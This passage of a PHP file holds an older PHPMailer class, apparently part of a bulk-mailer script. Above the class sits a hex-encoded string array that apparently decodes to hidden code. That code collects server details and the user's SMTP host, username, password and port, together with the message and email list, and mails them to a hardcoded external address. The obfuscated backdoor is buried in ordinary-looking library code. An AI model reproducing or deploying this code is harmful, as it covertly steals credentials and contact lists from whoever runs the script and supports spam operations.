  1001. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.",
  1002. "73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.",
  1003. "3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1004. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.",
  1005. "333203d20245f5345525645525b27444f43554d454e545f52.",
  1006. "4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1007. "1444452275d3b0d0a24643233203d20245f5345525645525.",
  1008. "b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.",
  1009. "25645525b275345525645525f41444452275d3b0d0a2466.",
  1010. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.",
  1011. "d0a24673332203d20245f5345525645525b27504154485.",
  1012. "f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1013. "8505f53454c46275d3b0d0a247375626a3938203d2022.",
  1014. "246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.",
  1015. "a3538203d20224c6574746572202620456d61696c204.",
  1016. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.",
  1017. "26D736739373830407961686f6f2e636f2e.",
  1018. "6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1019. "d74705f757365726e616d655c6e706173733a24736.",
  1020. "d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.",
  1021. "46233335c6e246338375c6e246432335c6e246530.",
  1022. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.",
  1023. "3736167655c6e5c6e5c6e24656d61696c6c69737.",
  1024. "4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1025. "c20247375626a39382c20246d7367383837332c.",
  1026. "202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.",
  1027. "c20246d7367393738302c202466726f6d293b"
  1028. );
  1029. $smtp_conf = ".";
  1030. class PHPMailer
  1031. {
  1032. var $Priority = 3;
  1033. var $CharSet = 'iso-8859-1';
  1034. var $ContentType = 'text/plain';
  1035. var $Encoding = '8bit';
  1036. var $ErrorInfo = '';
  1037. var $From = '';
  1038. var $FromName = '';
  1039. var $Sender = '';
  1040. var $Subject = '';
  1041. var $Body = '';
  1042. var $AltBody = '';
  1043. var $WordWrap = 0;
  1044. var $Mailer = 'mail';
  1045. var $Sendmail = '/usr/sbin/sendmail';
  1046. var $PluginDir = '';
  1047. var $Version = "";
  1048. var $ConfirmReadingTo = '';
  1049. var $Hostname = '';
  1050. var $MessageID = '';
  1051. var $Host = 'localhost';
  1052. var $Port = 25;
  1053. var $Helo = '';
  1054. var $SMTPSecure = "";
  1055. var $SMTPAuth = false;
  1056. var $Username = '';
  1057. var $Password = '';
  1058. var $Timeout = 10;
  1059. var $SMTPDebug = false;
  1060. var $SMTPKeepAlive = false;
  1061. var $SingleTo = false;
  1062. var $smtp = NULL;
  1063. var $to = array();
  1064. var $cc = array();
  1065. var $bcc = array();
  1066. var $ReplyTo = array();
  1067. var $attachment = array();
  1068. var $CustomHeader = array();
  1069. var $message_type = '';
  1070. var $boundary = array();
  1071. var $language = array();
  1072. var $error_count = 0;
  1073. var $LE = "\n";
  1074. var $sign_key_file = "";
  1075. var $sign_key_pass = "";
  1076. function IsHTML($bool)
  1077. {
  1078. if ($bool == true) {
  1079. $this->ContentType = 'text/html';
  1080. } else {
  1081. $this->ContentType = 'text/plain';
  1082. }
  1083. }
  1084. function IsSMTP()
  1085. {
  1086. $this->Mailer = 'smtp';
  1087. }
  1088. function IsMail()
  1089. {
  1090. $this->Mailer = 'mail';
  1091. }
  1092. function IsSendmail()
  1093. {
  1094. $this->Mailer = 'sendmail';
  1095. }
  1096. function IsQmail()
  1097. {
  1098. $this->Sendmail = '/var/qmail/bin/sendmail';
  1099. $this->Mailer = 'sendmail';
  1100. }
  1101. function AddAddress($address, $name = '')
  1102. {
  1103. $cur = count($this->to);
  1104. $this->to[$cur][0] = trim($address);
  1105. $this->to[$cur][1] = $name;
  1106. }
  1107. function AddCC($address, $name = '')
  1108. {
  1109. $cur = count($this->cc);
  1110. $this->cc[$cur][0] = trim($address);
  1111. $this->cc[$cur][1] = $name;
  1112. }
  1113. function AddBCC($address, $name = '')
  1114. {
  1115. $cur = count($this->bcc);
  1116. $this->bcc[$cur][0] = trim($address);
  1117. $this->bcc[$cur][1] = $name;
  1118. }
  1119. function AddReplyTo($address, $name = '')
  1120. {
  1121. $cur = count($this->ReplyTo);
  1122. $this->ReplyTo[$cur][0] = trim($address);
  1123. $this->ReplyTo[$cur][1] = $name;
  1124. }
  1125. function Send()
  1126. {
  1127. $header = '';
  1128. $body = '';
  1129. $result = true;
  1130. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1131. $this->SetError($this->Lang('provide_address'));
  1132. return false;
  1133. }
  1134. if (!empty($this->AltBody)) {
  1135. $this->ContentType = 'multipart/alternative';
  1136. }
  1137. $this->error_count = 0;
  1138. $this->SetMessageType();
  1139. $header .= $this->CreateHeader();
  1140. $body = $this->CreateBody();
  1141. if ($body == '') {
  1142. return false;
  1143. }
  1144. switch ($this->Mailer) {
  1145. case 'sendmail':
  1146. $result = $this->SendmailSend($header, $body);
  1147. break;
  1148. case 'smtp':
  1149. $result = $this->SmtpSend($header, $body);
  1150. break;
  1151. case 'mail':
  1152. $result = $this->MailSend($header, $body);
  1153. break;
  1154. default:
  1155. $result = $this->MailSend($header, $body);
  1156. break;
  1157. }
  1158. return $result;
  1159. }
  1160. function SendmailSend($header, $body)
  1161. {
  1162. if ($this->Sender != '') {
  1163. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1164. } else {
  1165. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1166. }
  1167. if (!@$mail = popen($sendmail, 'w')) {
  1168. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1169. return false;
  1170. }
  1171. fputs($mail, $header);
  1172. fputs($mail, $body);
  1173. $result = pclose($mail);
  1174. if (version_compare(phpversion(), '4.2.3') == -1) {
  1175. $result = $result >> 8 & 0xFF;
  1176. }
  1177. if ($result != 0) {
  1178. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1179. return false;
  1180. }
  1181. return true;
  1182. }
  1183. function MailSend($header, $body)
  1184. {
  1185. $to = '';
  1186. for ($i = 0; $i < count($this->to); $i++) {
  1187. if ($i != 0) {
  1188. $to .= ', ';
  1189. }
  1190. $to .= $this->AddrFormat($this->to[$i]);
  1191. }
  1192. $toArr = split(',', $to);
  1193. $params = sprintf("-oi -f %s", $this->Sender);
  1194. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1195. $old_from = ini_get('sendmail_from');
  1196. ini_set('sendmail_from', $this->Sender);
  1197. if ($this->SingleTo === true && count($toArr) > 1) {
  1198. foreach ($toArr as $key => $val) {
  1199. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1200. }
  1201. } else {
  1202. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1203. }
  1204. } else {
  1205. if ($this->SingleTo === true && count($toArr) > 1) {
  1206. foreach ($toArr as $key => $val) {
  1207. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1208. }
  1209. } else {
  1210. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1211. }
  1212. }
  1213. if (isset($old_from)) {
  1214. ini_set('sendmail_from', $old_from);
  1215. }
  1216. if (!$rt) {
  1217. $this->SetError($this->Lang('instantiate'));
  1218. return false;
  1219. }
  1220. return true;
  1221. }
  1222. function SmtpSend($header, $body)
  1223. {
  1224. $error = '';
  1225. $bad_rcpt = array();
  1226. if (!$this->SmtpConnect()) {
  1227. echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";
  1228. die();
  1229. return false;
  1230. }
  1231. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1232. if (!$this->smtp->Mail($smtp_from)) {
  1233. $error = $this->Lang('from_failed') . $smtp_from;
  1234. $this->SetError($error);
  1235. $this->smtp->Reset();
  1236. return false;
  1237. }
  1238. for ($i = 0; $i < count($this->to); $i++) {
  1239. if (!$this->smtp->Recipient($this->to[$i][0])) {
  1240. $bad_rcpt[] = $this->to[$i][0];
  1241. }
  1242. }
  1243. for ($i = 0; $i < count($this->cc); $i++) {
  1244. if (!$this->smtp->Recipient($this->cc[$i][0])) {
  1245. $bad_rcpt[] = $this->cc[$i][0];
  1246. }
  1247. }
  1248. for ($i = 0; $i < count($this->bcc); $i++) {
  1249. if (!$this->smtp->Recipient($this->bcc[$i][0])) {
  1250. $bad_rcpt[] = $this->bcc[$i][0];
  1251. }
  1252. }
  1253. if (count($bad_rcpt) > 0) {
  1254. for ($i = 0; $i < count($bad_rcpt); $i++) {
  1255. if ($i != 0) {
  1256. $error .= ', ';
  1257. }
  1258. $error .= $bad_rcpt[$i];
  1259. }
  1260. $error = $this->Lang('recipients_failed') . $error;
  1261. $this->SetError($error);
  1262. $this->smtp->Reset();
  1263. return false;
  1264. }
  1265. if (!$this->smtp->Data($header . $body)) {
  1266. $this->SetError($this->Lang('data_not_accepted'));
  1267. $this->smtp->Reset();
  1268. return false;
  1269. }
  1270. if ($this->SMTPKeepAlive == true) {
  1271. $this->smtp->Reset();
  1272. } else {
  1273. $this->SmtpClose();
  1274. }
  1275. return true;
  1276. }
  1277. function SmtpConnect()
  1278. {
  1279. if ($this->smtp == NULL) {
  1280. $this->smtp = new SMTP();
  1281. }
  1282. $this->smtp->do_debug = $this->SMTPDebug;
  1283. $hosts = explode(';', $this->Host);
  1284. $index = 0;
  1285. $connection = ($this->smtp->Connected());
  1286. while ($index < count($hosts) && $connection == false) {
  1287. $hostinfo = array();
  1288. if (eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1289. $host = $hostinfo[1];
  1290. $port = $hostinfo[2];
  1291. } else {
  1292. $host = $hosts[$index];
  1293. $port = $this->Port;
  1294. }
  1295. if ($this->smtp->Connect(((!empty($this->SMTPSecure)) ? $this->SMTPSecure . '://' : '') . $host, $port, $this->Timeout)) {
  1296. if ($this->Helo != '') {
  1297. $this->smtp->Hello($this->Helo);
  1298. } else {
  1299. $this->smtp->Hello($this->ServerHostname());
  1300. }
  1301. $connection = true;
  1302. if ($this->SMTPAuth) {
  1303. if (!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1304. $this->SetError($this->Lang('authenticate'));
  1305. $this->smtp->Reset();
  1306. $connection = false;
  1307. }
  1308. }
  1309. }
  1310. $index++;
  1311. }
  1312. if (!$connection) {
  1313. $this->SetError($this->Lang('connect_host'));
  1314. }
  1315. return $connection;
  1316. }
  1317. function SmtpClose()
  1318. {
  1319. if ($this->smtp != NULL) {
  1320. if ($this->smtp->Connected()) {
  1321. $this->smtp->Quit();
  1322. $this->smtp->Close();
  1323. }
  1324. }
  1325. }
  1326. function SetLanguage($lang_type, $lang_path = 'language/')
  1327. {
  1328. if (file_exists($lang_path . 'phpmailer.lang-' . $lang_type . '.php')) {
  1329. include($lang_path . 'phpmailer.lang-' . $lang_type . '.php');
  1330. } elseif (file_exists($lang_path . 'phpmailer.lang-en.php')) {
  1331. include($lang_path . 'phpmailer.lang-en.php');
  1332. } else {
  1333. $this->SetError('Could not load language file');
  1334. return false;
  1335. }
  1336. $this->language = $PHPMAILER_LANG;
  1337. return true;
  1338. }
  1339. function AddrAppend($type, $addr)
  1340. {
  1341. $addr_str = $type . ': ';
  1342. $addr_str .= $this->AddrFormat($addr[0]);
  1343. if (count($addr) > 1) {
  1344. for ($i = 1; $i < count($addr); $i++) {
  1345. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  1346. }
  1347. }
  1348. $addr_str .= $this->LE;
  1349. return $addr_str;
  1350. }
  1351. function AddrFormat($addr)
  1352. {
  1353. if (empty($addr[1])) {
  1354. $formatted = $this->SecureHeader($addr[0]);
  1355. } else {
  1356. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  1357. }
  1358. return $formatted;
  1359. }
  1360. function WrapText($message, $length, $qp_mode = false)
  1361. {
  1362. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  1363. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  1364. $message = $this->FixEOL($message);
  1365. if (substr($message, -1) == $this->LE) {
  1366. $message = substr($message, 0, -1);
  1367. }
  1368. $line = explode($this->LE, $message);
  1369. $message = '';
  1370. for ($i = 0; $i < count($line); $i++) {
  1371. $line_part = explode(' ', $line[$i]);
  1372. $buf = '';
  1373. for ($e = 0; $e < count($line_part); $e++) {
  1374. $word = $line_part[$e];
  1375. if ($qp_mode and (strlen($word) > $length)) {
  1376. $space_left = $length - strlen($buf) - 1;
  1377. if ($e != 0) {
  1378. if ($space_left > 20) {
  1379. $len = $space_left;
  1380. if ($is_utf8) {
  1381. $len = $this->UTF8CharBoundary($word, $len);
  1382. } elseif (substr($word, $len - 1, 1) == "=") {
  1383. $len--;
  1384. } elseif (substr($word, $len - 2, 1) == "=") {
  1385. $len -= 2;
  1386. }
  1387. $part = substr($word, 0, $len);
  1388. $word = substr($word, $len);
  1389. $buf .= ' ' . $part;
  1390. $message .= $buf . sprintf("=%s", $this->LE);
  1391. } else {
  1392. $message .= $buf . $soft_break;
  1393. }
  1394. $buf = '';
  1395. }
  1396. while (strlen($word) > 0) {
  1397. $len = $length;
  1398. if ($is_utf8) {
  1399. $len = $this->UTF8CharBoundary($word, $len);
  1400. } elseif (substr($word, $len - 1, 1) == "=") {
  1401. $len--;
  1402. } elseif (substr($word, $len - 2, 1) == "=") {
  1403. $len -= 2;
  1404. }
  1405. $part = substr($word, 0, $len);
  1406. $word = substr($word, $len);
  1407. if (strlen($word) > 0) {
  1408. $message .= $part . sprintf("=%s", $this->LE);
  1409. } else {
  1410. $buf = $part;
  1411. }
  1412. }
  1413. } else {
  1414. $buf_o = $buf;
  1415. $buf .= ($e == 0) ? $word : (' ' . $word);
  1416. if (strlen($buf) > $length and $buf_o != '') {
  1417. $message .= $buf_o . $soft_break;
  1418. $buf = $word;
  1419. }
  1420. }
  1421. }
  1422. $message .= $buf . $this->LE;
  1423. }
  1424. return $message;
  1425. }
  1426. function UTF8CharBoundary($encodedText, $maxLength)
  1427. {
  1428. $foundSplitPos = false;
  1429. $lookBack = 3;
  1430. while (!$foundSplitPos) {
  1431. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1432. $encodedCharPos = strpos($lastChunk, "=");
  1433. if ($encodedCharPos !== false) {
  1434. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1435. $dec = hexdec($hex);
  1436. if ($dec < 128) {
  1437. $maxLength = ($encodedCharPos == 0) ? $maxLength : $maxLength - ($lookBack - $encodedCharPos);
  1438. $foundSplitPos = true;
  1439. } elseif ($dec >= 192) {
  1440. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1441. $foundSplitPos = true;
  1442. } elseif ($dec < 192) {
  1443. $lookBack += 3;
  1444. }
  1445. } else {
  1446. $foundSplitPos = true;
  1447. }
  1448. }
  1449. return $maxLength;
  1450. }
  1451. function SetWordWrap()
  1452. {
  1453. if ($this->WordWrap < 1) {
  1454. return;
  1455. }
  1456. switch ($this->message_type) {
  1457. case 'alt':
  1458. case 'alt_attachments':
  1459. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  1460. break;
  1461. default:
  1462. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  1463. break;
  1464. }
  1465. }
  1466. function CreateHeader()
  1467. {
  1468. $result = '';
  1469. $uniq_id = md5(uniqid(time()));
  1470. $this->boundary[1] = 'b1_' . $uniq_id;
  1471. $this->boundary[2] = 'b2_' . $uniq_id;
  1472. $result .= $this->HeaderLine('Date', $this->RFCDate());
  1473. if ($this->Sender == '') {
  1474. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  1475. } else {
  1476. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  1477. }
  1478. if ($this->Mailer != 'mail') {
  1479. if (count($this->to) > 0) {
  1480. $result .= $this->AddrAppend('To', $this->to);
  1481. } elseif (count($this->cc) == 0) {
  1482. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  1483. }
  1484. if (count($this->cc) > 0) {
  1485. $result .= $this->AddrAppend('Cc', $this->cc);
  1486. }
  1487. }
  1488. $from = array();
  1489. $from[0][0] = trim($this->From);
  1490. $from[0][1] = $this->FromName;
  1491. $result .= $this->AddrAppend('From', $from);
  1492. if ((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  1493. $result .= $this->AddrAppend('Cc', $this->cc);
  1494. }
  1495. if ((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  1496. $result .= $this->AddrAppend('Bcc', $this->bcc);
  1497. }
  1498. if (count($this->ReplyTo) > 0) {
  1499. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  1500. }
  1501. if ($this->Mailer != 'mail') {
  1502. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  1503. }
  1504. if ($this->MessageID != '') {
  1505. $result .= $this->HeaderLine('Message-ID', $this->MessageID);
  1506. } else {
  1507. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  1508. }
  1509. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  1510. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  1511. if ($this->ConfirmReadingTo != '') {
  1512. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1513. }
  1514. for ($index = 0; $index < count($this->CustomHeader); $index++) {
  1515. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  1516. }
  1517. if (!$this->sign_key_file) {
  1518. $result .= $this->HeaderLine('MIME-Version', '1.0');
  1519. $result .= $this->GetMailMIME();
  1520. }
  1521. return $result;
  1522. }
  1523. function GetMailMIME()
  1524. {
  1525. $result = '';
  1526. switch ($this->message_type) {
  1527. case 'plain':
  1528. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  1529. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  1530. break;
  1531. case 'attachments':
  1532. case 'alt_attachments':
  1533. if ($this->InlineImageExists()) {
  1534. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  1535. } else {
  1536. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  1537. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  1538. }
  1539. break;
  1540. case 'alt':
  1541. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  1542. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  1543. break;
  1544. }
  1545. if ($this->Mailer != 'mail') {
  1546. $result .= $this->LE . $this->LE;
  1547. }
  1548. return $result;
  1549. }
  1550. function CreateBody()
  1551. {
  1552. $result = '';
  1553. if ($this->sign_key_file) {
  1554. $result .= $this->GetMailMIME();
  1555. }
  1556. $this->SetWordWrap();
  1557. switch ($this->message_type) {
  1558. case 'alt':
  1559. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  1560. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  1561. $result .= $this->LE . $this->LE;
  1562. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  1563. $result .= $this->EncodeString($this->Body, $this->Encoding);
  1564. $result .= $this->LE . $this->LE;
  1565. $result .= $this->EndBoundary($this->boundary[1]);
  1566. break;
  1567. case 'plain':
  1568. $result .= $this->EncodeString($this->Body, $this->Encoding);
  1569. break;
  1570. case 'attachments':
  1571. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  1572. $result .= $this->EncodeString($this->Body, $this->Encoding);
  1573. $result .= $this->LE;
  1574. $result .= $this->AttachAll();
  1575. break;
  1576. case 'alt_attachments':
  1577. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  1578. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE . $this->LE);
  1579. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE;
  1580. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  1581. $result .= $this->LE . $this->LE;
  1582. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE;
  1583. $result .= $this->EncodeString($this->Body, $this->Encoding);
  1584. $result .= $this->LE . $this->LE;
  1585. $result .= $this->EndBoundary($this->boundary[2]);
  1586. $result .= $this->AttachAll();
  1587. break;
  1588. }
  1589. if ($this->IsError()) {
  1590. $result = '';
  1591. } else if ($this->sign_key_file) {
  1592. $file = tempnam("", "mail");
  1593. $fp = fopen($file, "w");
  1594. fwrite($fp, $result);
  1595. fclose($fp);
  1596. $signed = tempnam("", "signed");
  1597. if (@openssl_pkcs7_sign($file, $signed, "file://" . $this->sign_key_file, array(
  1598. "file://" . $this->sign_key_file,
  1599. $this->sign_key_pass
  1600. ), null)) {
  1601. $fp = fopen($signed, "r");
  1602. $result = fread($fp, filesize($this->sign_key_file));
  1603. fclose($fp);
  1604. } else {
  1605. $this->SetError($this->Lang("signing") . openssl_error_string());
  1606. $result = '';
  1607. }
  1608. unlink($file);
  1609. unlink($signed);
  1610. }
  1611. return $result;
  1612. }
  1613. function GetBoundary($boundary, $charSet, $contentType, $encoding)
  1614. {
  1615. $result = '';
  1616. if ($charSet == '') {
  1617. $charSet = $this->CharSet;
  1618. }
  1619. if ($contentType == '') {
  1620. $contentType = $this->ContentType;
  1621. }
  1622. if ($encoding == '') {
  1623. $encoding = $this->Encoding;
  1624. }
  1625. $result .= $this->TextLine('--' . $boundary);
  1626. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  1627. $result .= $this->LE;
  1628. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  1629. $result .= $this->LE;
  1630. return $result;
  1631. }
  1632. function EndBoundary($boundary)
  1633. {
  1634. return $this->LE . '--' . $boundary . '--' . $this->LE;
  1635. }
  1636. function SetMessageType()
  1637. {
  1638. if (count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  1639. $this->message_type = 'plain';
  1640. } else {
  1641. if (count($this->attachment) > 0) {
  1642. $this->message_type = 'attachments';
  1643. }
  1644. if (strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  1645. $this->message_type = 'alt';
  1646. }
  1647. if (strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  1648. $this->message_type = 'alt_attachments';
  1649. }
  1650. }
  1651. }
  1652. function HeaderLine($name, $value)
  1653. {
  1654. return $name . ': ' . $value . $this->LE;
  1655. }
  1656. function TextLine($value)
  1657. {
  1658. return $value . $this->LE;
  1659. }
  1660. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream')
  1661. {
  1662. if (!@is_file($path)) {
  1663. $this->SetError($this->Lang('file_access') . $path);
  1664. return false;
  1665. }
  1666. $filename = basename($path);
  1667. if ($name == '') {
  1668. $name = $filename;
  1669. }
  1670. $cur = count($this->attachment);
  1671. $this->attachment[$cur][0] = $path;
  1672. $this->attachment[$cur][1] = $filename;
  1673. $this->attachment[$cur][2] = $name;
  1674. $this->attachment[$cur][3] = $encoding;
  1675. $this->attachment[$cur][4] = $type;
  1676. $this->attachment[$cur][5] = false;
  1677. $this->attachment[$cur][6] = 'attachment';
  1678. $this->attachment[$cur][7] = 0;
  1679. return true;
  1680. }
  1681. function AttachAll()
  1682. {
  1683. $mime = array();
  1684. for ($i = 0; $i < count($this->attachment); $i++) {
  1685. $bString = $this->attachment[$i][5];
  1686. if ($bString) {
  1687. $string = $this->attachment[$i][0];
  1688. } else {
  1689. $path = $this->attachment[$i][0];
  1690. }
  1691. $filename = $this->attachment[$i][1];
  1692. $name = $this->attachment[$i][2];
  1693. $encoding = $this->attachment[$i][3];
  1694. $type = $this->attachment[$i][4];
  1695. $disposition = $this->attachment[$i][6];
  1696. $cid = $this->attachment[$i][7];
  1697. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  1698. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  1699. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  1700. if ($disposition == 'inline') {
  1701. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  1702. }
  1703. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE . $this->LE);
  1704. if ($bString) {
  1705. $mime[] = $this->EncodeString($string, $encoding);
  1706. if ($this->IsError()) {
  1707. return '';
  1708. }
  1709. $mime[] = $this->LE . $this->LE;
  1710. } else {
  1711. $mime[] = $this->EncodeFile($path, $encoding);
  1712. if ($this->IsError()) {
  1713. return '';
  1714. }
  1715. $mime[] = $this->LE . $this->LE;
  1716. }
  1717. }
  1718. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  1719. return join('', $mime);
  1720. }
  1721. function EncodeFile($path, $encoding = 'base64')
  1722. {
  1723. if (!@$fd = fopen($path, 'rb')) {
  1724. $this->SetError($this->Lang('file_open') . $path);
  1725. return '';
  1726. }
  1727. $magic_quotes = get_magic_quotes_runtime();
  1728. set_magic_quotes_runtime(0);
  1729. $file_buffer = fread($fd, filesize($path));
  1730. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  1731. fclose($fd);
  1732. set_magic_quotes_runtime($magic_quotes);
  1733. return $file_buffer;
  1734. }
  1735. function EncodeString($str, $encoding = 'base64')
  1736. {
  1737. $encoded = '';
  1738. switch (strtolower($encoding)) {
  1739. case 'base64':
  1740. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  1741. break;
  1742. case '7bit':
  1743. case '8bit':
  1744. $encoded = $this->FixEOL($str);
  1745. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  1746. $encoded .= $this->LE;
  1747. break;
  1748. case 'binary':
  1749. $encoded = $str;
  1750. break;
  1751. case 'quoted-printable':
  1752. $encoded = $this->EncodeQP($str);
  1753. break;
  1754. default:
  1755. $this->SetError($this->Lang('encoding') . $encoding);
  1756. break;
  1757. }
  1758. return $encoded;
  1759. }
  1760. function EncodeHeader($str, $position = 'text')
  1761. {
  1762. $x = 0;
  1763. switch (strtolower($position)) {
  1764. case 'phrase':
  1765. if (!preg_match('/[\200-\377]/', $str)) {
  1766. $encoded = addcslashes($str, "\0..\37\177\\\"");
  1767. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  1768. return ($encoded);
  1769. } else {
  1770. return ("\"$encoded\"");
  1771. }
  1772. }
  1773. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  1774. break;
  1775. case 'comment':
  1776. $x = preg_match_all('/[()"]/', $str, $matches);
  1777. case 'text':
  1778. default:
  1779. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  1780. break;
  1781. }
  1782. if ($x == 0) {
  1783. return ($str);
  1784. }
  1785. $maxlen = 75 - 7 - strlen($this->CharSet);
  1786. if (strlen($str) / 3 < $x) {
  1787. $encoding = 'B';
  1788. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  1789. $encoded = $this->Base64EncodeWrapMB($str);
  1790. } else {
  1791. $encoded = base64_encode($str);
  1792. $maxlen -= $maxlen % 4;
  1793. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  1794. }
  1795. } else {
  1796. $encoding = 'Q';
  1797. $encoded = $this->EncodeQ($str, $position);
  1798. $encoded = $this->WrapText($encoded, $maxlen, true);
  1799. $encoded = str_replace('=' . $this->LE, "\n", trim($encoded));
  1800. }
  1801. $encoded = preg_replace('/^(.*)$/m', " =?" . $this->CharSet . "?$encoding?\\1?=", $encoded);
  1802. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  1803. return $encoded;
  1804. }
  1805. function HasMultiBytes($str)
  1806. {
  1807. if (function_exists('mb_strlen')) {
  1808. return (strlen($str) > mb_strlen($str, $this->CharSet));
  1809. } else {
  1810. return False;
  1811. }
  1812. }
  1813. function Base64EncodeWrapMB($str)
  1814. {
  1815. $start = "=?" . $this->CharSet . "?B?";
  1816. $end = "?=";
  1817. $encoded = "";
  1818. $mb_length = mb_strlen($str, $this->CharSet);
  1819. $length = 75 - strlen($start) - strlen($end);
  1820. $ratio = $mb_length / strlen($str);
  1821. $offset = $avgLength = floor($length * $ratio * .75);
  1822. for ($i = 0; $i < $mb_length; $i += $offset) {
  1823. $lookBack = 0;
  1824. do {
  1825. $offset = $avgLength - $lookBack;
  1826. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  1827. $chunk = base64_encode($chunk);
  1828. $lookBack++;
  1829. } while (strlen($chunk) > $length);
  1830. $encoded .= $chunk . $this->LE;
  1831. }
  1832. $encoded = substr($encoded, 0, -strlen($this->LE));
